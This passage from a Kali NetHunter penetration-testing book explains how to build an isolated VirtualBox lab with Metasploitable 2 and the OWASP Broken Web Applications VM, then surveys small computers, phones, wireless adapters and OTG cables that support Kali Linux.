assist us in measuring the security risk on both

the Windows and Linux operating systems. Then,
we

discussed the various hardening

techniques for networking appliances, such as routers and switches, and we closed by

learning about hardening mobile devices.

In the next chapter, we will explore building
an

environment for a lab.
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Learning the art of exploitation and penetration tests in the field of cybersecurity is exciting

and fascinating for both students and professionals. The idea of hacking is quite cool, but

when learning about cybersecurity, such as penetration testing, an institution, such as a

technical college or university, usually sets up a physical lab environment
to

conduct

training. Learning ethical hacking and penetration testing should only be taught using

systems designed and built for such training;
in

other words, penetration testing should

definitely not be taught using systems available on the internet or those that do not provide

consent for such testing.

To get started with penetration testing, you should set up a lab. Having your own lab will

eliminate certain constraints, such as physically being within the training institution to

access their lab. Also, the lab's availability and portability will be unrestricted.

In this chapter, we will cover the following topics:

Requirements for building a penetration testing lab

An introduction in virtualization

Setting
up

vulnerable systems

Let's dive in!

Technical requirements

One of the most important considerations in building anything is the cost required
to

complete it. However, in the world of IT, there are many legitimate ways of building a

penetration testing lab without having to spend any money. We're not talking about

pirating here, because that would be illegal, however, there are many freeware applications

available that operate at an enterprise standard. We will be using various applications to

assemble our very own portable penetration testing lab.
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To get started, there are some items you need to download from the internet to make all

this happen:

Hypervisor

Vulnerable system(s)

Penetration testing distribution

Hypervisor

Some of us in the field of IT love working with servers, either Windows or Linux. Servers

are awesome to work with just as everything else in IT. One of the most important

technologies today is virtualization. Virtualization allow you to install almost any type of

operating system (OS) on any type of hardware. What does this mean? Some OS, such as

Android, Windows Server, Linux Server, and macOS, require specialized hardware, such as

a specific type of processor, and if a system does not have the required hardware resources,

the OS will not
be

installed. Virtualization comes in
to

save the day by using a virtual

machine manager known as a hypervisor.

A hypervisor creates and emulates a virtual environment to fit the need for an OS. The

hypervisor allows the administrator, such as yourself, to configure the number of cores and

threads for the processor, the amount of RAM and hard disk drive allocation, and

input/output (I/O) such as USB controllers and serial controllers. Therefore, during the

installation process, the guest OS thinks it's being installed on physical hardware but it's

actually being installed in a virtual environment. These are called virtual machines.

The host OS is the
OS

currently on your laptop or desktop computer, and

the guest OS is the OS within a virtual machine or within a hypervisor.

There are two types of hypervisors. Let's discuss each in the upcoming sections.

Type 1

The Type 1 hypervisor is known as the bare-metal hypervisor. This type of hypervisor is

installed directly onto the hardware and becomes the host OS:
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Type 2

The Type 2 hypervisor is installed on top of a host OS. This type of hypervisor uses

resources such as CPU, RAM, and storage, which are provided by the host OS:
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We are going to use a Type 2 hypervisor to set up our penetration testing lab. A benefit of

using virtual machines for technical training is that if anything happens within a guest OS,

it does not affect the host OS.

The following are Type 2 hypervisors:

Oracle VM VirtualBox (free)

VMware Workstation Player (free and commercial)

VMware Workstation Pro (commercial)

Microsoft Virtual PC (free)

Vulnerable systems

One of the most important components in building a penetration lab is its vulnerable

system(s). We can't go around attempting
to

practice on systems for which we do not have

prior consent as that would be illegal and intrusive.

Popular vulnerable machines used for penetration testing training and practice are known

as Metasploitable 2 and Metasploitable 3. These were created by the development team at

Rapid 7 (www.rapid7.com) for students and professionals to develop their skills in

penetration testing using Rapid 7's own exploitation development framework, Metasploit

(www.rapid7.com/products/metasploit).

Other sources of vulnerable systems for practicing and adding to a lab

include VulnHub (www.vulnhub.com) and Pentesterlab

(www.pentesterlab.com).

Setting up the lab

In this section,
we

are going to assemble all the pieces to have our fully operational

penetration testing lab.
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Step 1 ‒ installing the hypervisor

First, download Oracle VM VirtualBox from its official website: www.virtualbox.org.

Once you've downloaded Oracle VM VirtualBox, complete the installation process and

leave all the options as default. Once the installation is successful, you will be presented

with the following window:

Another very popular hypervisor is VMware Workstation. However, this

product is commercial (paid) unlike Oracle VM VirtualBox (free).
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Step 2 ‒ obtaining vulnerable systems

As mentioned, there are many available vulnerable systems that can be found on the

internet. We are going to deploy Metasploitable and OWASP Broken Web Applications

Project – both of these are virtual machines designed
to

give students and professionals a

real-world, hands-on experience.

Metasploitable 2 is currently available at its official repository at https://information.

rapid7.com/download-metasploitable-2017.html, and alternatively at https://

sourceforge.net/projects/metasploitable/.

The OWASP Broken Web Applications Project can be found at https://sourceforge.net/projects/owaspbwa/files/. Ensure you have downloaded the .ova file as it will make the

setup process seamless.

Step 3 ‒ setting up Metasploitable

Starting with Metasploitable 2, go to the folder that has the file, metasploitable

linux-2.0.0.zip. Ensure the contents of the compressed folder are extracted. These files

make up a virtual hard disk that can later
be

added on to a hypervisor:
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Open VirtualBox, click on New. The wizard opens on guided mode, however, we are going

to use expert mode:

For the Hard disk option,
we

are going to use the Metasploitable 2 virtual hard disk; these

are the extracted files from the previous step. Select the Use an existing virtual hard disk

file option and click on the folder icon
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Click Add to attach the virtual hard disk. Once it's in the window, click Choose to select it:

Clicking Choose carries you back
to

the main window—we can see that the file has been

attached:

Click on Create
to

complete the process:
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Let's configure the network adapter on this newly created virtual machine. Select the

virtual machine and click on Settings.

Next, select the Network category, apply the following configurations, and click
OK

once

completed:
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The Host-only Adapter settings will allow communications on a private

virtual network between the virtual machine and the host OS. It is not

recommended
to

connect vulnerable systems to the internet.

Bridge mode will allow the virtual machine to connect directly onto your

physical, or real, network.

Now, it's time to set up virtual networking using VirtualBox. To configure a virtual adapter

on your host system, ensure VirtualBox is open—at the top, click on Tools | Create:

If an adapter already exists, select it and click on Properties. We are going to use the

10.10.10.0/24 network in our virtual lab network. This IP scheme would provide a

usable range from 10.10.10.1 to 10.10.10.254, however, these IP addresses will
be

distributed by the DHCP server that is built into VirtualBox:

Once you've made these configurations, click
on

Apply.
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Now it's time to power on Metasploitable. The username is msfadmin and the password is

msfadmin:

Once you're logged in, use the ifconfig command to check for the IP address of the

virtual machine (VM):
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Step 4 ‒ setting up the OWASP broken web

applications project

Open VirtualBox and click on Import:

The Import Virtual Appliance window will open—click the folder icon on the right. Select

the OWASP_Broken_Web_Apps_VM_1.2.ova file:

The appliance configurations should now be populated in the window, so click on Import:
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Once imported, it's time to start the new virtual machine and obtain its IP address. The

username is root and the password is owaspbwa:

The resources of the OWASP Broken Web Applications Project, which is a VM has access

via a web interface.

Now we have a couple of vulnerable systems
in

our virtualized penetration testing lab, and

it's available at our convenience. Please remember: additional vulnerable systems can be

added to your lab at a later time
to

further your practice and build your skills.
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Summary

In this chapter, we covered the requirements for assembling a virtualized lab to practice

penetration testing, the reason for choosing each component, and finally put the pieces

together during the assembly phase. I hope this chapter has been informative and you are

able to add a lot more virtual machines to increase the size of your lab while becoming

better at penetration testing. Now, you are able to build your very own lab at home.

In the next chapter, we will look at how to select various options for a Kali device and

hardware.
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12
Selecting a Kali Device and

Hardware

As you have almost completed this book, there are still a few important details and

components that we needed to discuss to ensure you're all set and ready for your

penetration testing journey.

In this chapter, we will be covering the following topics:

Suitable mobile hardware for Kali Linux

External components

Additional hardware

During the course of this book, you have learned about the field of penetration testing,

specifically using mobile devices to execute real-world, simulated attacks, and analyses on

a target system or network. However, selecting an appropriate device for Kali Linux can

sometimes
be

a bit troublesome. As a student, security professional, penetration tester, or

someone who is starting a path in cybersecurity, especially in penetration testing, you may

have the following questions:

Could Kali NetHunter work on any mobile device?

If I don't have a compatible device, is there anything else I can try?

Is it possible to create my own custom version of Kali NetHunter?

Let's dive in!
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Small computers

Originally, the Kali Linux penetration testing platform was an operating system developed

to
be

either installed on the local hard disk drive (HDD) of a computer or live-booted from

an optical disk, such as a digital versatile disk (DVD). Over the years, the development of

Kali Linux expanded to newer and more modern devices, such as smartphones and tablets,

and even other devices with Advanced RISC Machines (ARM) processors, such as a

Raspberry Pi.

Gem PDA

The Gem PDA looks a bit old school compared to modern mobile devices, such as an

Android-based smartphone. This device combined the concepts of both a smartphone and a

personal digital assistant (PDA):
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You may
be

wondering what makes this device suitable for Kali Linux. The Gem PDA

supports the installation of
up

to three operating systems due to its multi-boot

functionality.

The following is a list of supported operating systems:

Android

Debian

Kali Linux

Sailfish

The Kali Linux image for the GemPDA can
be

found at https://www.

offensive-security.com/kali-linux-arm-images/.

Raspberry Pi 2 and 3

The Raspberry Pi is a single motherboard computer the size of a credit card. Think of it as a

computer without the peripherals, such as a keyboard, mouse, and drivers. However, the

CPU, RAM, input/output (I/O) modules, and network adapters are all integrated onto a

single board, making it a microcomputer:
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The Raspberry
Pi3

Model B+ is currently the latest model available on the market with the

following overall specifications:

Cortex-A53 (ARMv8) 64-bit SoC at 1.4GHz

1GB SDRAM

2.4GHz & 5GHz IEEE 802.11.b/g/n/ac WLAN

Bluetooth v4.2

Gigabit Ethernet over USB 2.0

5V 2.5A DC power input

Power-over-Ethernet (PoE)

MicroSD port (for the operating system)

ODROID U2

The ODROID U2 is an ultra-compact microcomputer that is smaller than a credit card. This

device comes packed with a Cortex-A9 Quad Core 1.7GHz processor, 2
GB

RAM, supports

video output via micro HDMI, 10/100 Mbps Ethernet for network connectivity, uses

MicroSD for storage, and requires a 5V 2A power adapter:

The list of ARM-supported devices can be found on the official Kali ARM

documentation site: https://docs.kali.org/category/kali-on-arm.

Furthermore, the Kali NetHunter images can be found at https://

github.com/offensive-security/kali-nethunter/wiki.
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Mobile hardware

Choosing a suitable mobile device for the Kali NetHunter platform is not as difficult as it

may seem. The team at Offensive Security (www.offensive-security.com) have created

custom images for us, however, there is a listed of supported devices. Initially, Kali

NetHunter was designed for the Google Nexus series of devices and OnePlus:

Nexus 5

Nexus 6

Nexus 7

Nexus 9

Nexus 10

OnePlus One

Offensive Security recommends the OnePlus One as the preferred form

factor mobile device for the Kali NetHunter platform. To download the

official images for the Nexus series and OnePlus One devices,

visit https://www.offensive-security.com/kali-linux-nethunter

download/.

You're probably thinking that there is a huge limitation on the number of preferred devices;

fortunately, there is an additional list of supported devices:
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If you're using a device listed in the preceding table, you'll need to build a custom version

of Kali NetHunter for your device. To do so, please refer to the Building Kali

Nethunter section in Chapter 1, Introduction to Kali NetHunter. If you require further

information, please refer to the official documentation: https://github.com/offensive

security/kali-nethunter/wiki/Building-Nethunter.

The following is a list of supported Android devices given by their code name and versions

of Android:

External components

In this section,
we

will discuss external components that will be useful for a penetration

tester who is using Kali NetHunter to simulate attacks on a target.
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Wireless adapters

As a penetration tester, an essential piece of hardware is an external wireless adapter for

executing various wireless attacks on a target network. The following is a list of supported

wireless adapters that are compatible with the Kali NetHunter kernels:

Some adapters may not work for various reasons, such as an incompatible

kernel and driver – the adapter may not be receiving sufficient power

from the Android device; in this situation, a Y-cable with an external

power source is recommended.

OTG cables

Additionally, an on-the-go (OTG) cable should be part of your list of components when

using Kali NetHunter. The OTG cable will allow USB devices, such as external wireless

adapters, to interface with NetHunter.

The following is an image of an OTG cable with an RT5370 miniUSB WiFi adapter:
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Summary

In this chapter, we took a look at a few microcomputers that support the Kali Linux

operating system. These devices would allow a penetration tester
to

create their own

network implants for a target network. We covered the supported list of mobile devices

when reviewing methods of compiling a custom Kali NetHunter image for a specific

device. Finally, penetration testing is never complete without a wireless network adapter,

so a list of known supported wireless adapters for mobile devices was provided.

I hope this chapter and book has been helpful and useful for your studies, and will benefit

you along your path in cybersecurity. Thank you for your attention!
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If you enjoyed this book, you may be interested in these other books by Packt:
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Wolf Halton, Bo Weaver
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